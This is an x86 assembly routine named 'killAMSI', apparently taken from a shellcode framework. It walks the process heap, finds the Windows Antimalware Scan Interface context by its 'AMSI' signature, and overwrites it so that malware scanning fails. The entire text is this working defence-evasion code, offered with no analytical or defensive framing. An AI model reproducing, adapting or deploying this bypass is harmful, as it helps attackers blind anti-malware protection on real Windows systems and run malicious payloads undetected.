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killAMSI proc
push ebp
mov ebp, esp
; allocate space for our phe
sub esp, sizeof PROCESS_HEAP_ENTRY
push edx
push esi
; fetch first heap of process
lea edx, [ebx].ShellCodeEnvironment.heapHandle
push edx
push 1 ; only one heap handle please
call [ebx].ShellCodeEnvironment.getProcessHeapsAddress
; initialize lpData to zero for the first time
lea esi, [ebp - sizeof PROCESS_HEAP_ENTRY].PROCESS_HEAP_ENTRY
xor eax, eax
mov [esi], eax
; now iterate over the heap via HeapWalk
doTheMoonWalk:
push esi
push [ebx].ShellCodeEnvironment.heapHandle
call [ebx].ShellCodeEnvironment.heapWalkAddress
or eax, eax
jz noAMSIFound
; fetch flags from PHE
mov al, byte ptr [esi].PROCESS_HEAP_ENTRY.wFlags
; check if this an allocated area
and al, 14h
jz doTheMoonWalk
; allocated block -> check data
mov edx, dword ptr [esi].PROCESS_HEAP_ENTRY.lpData
cmp dword ptr [edx], 049534d41h ; "AMSI"
jnz doTheMoonWalk
; we found the AMSI context --> destroy it
mov eax, 0deadbeefh
mov [edx], eax
noAMSIfound:
pop esi
pop edx
; restore stack pointer
mov esp, ebp
pop ebp
ret
killAMSI endp
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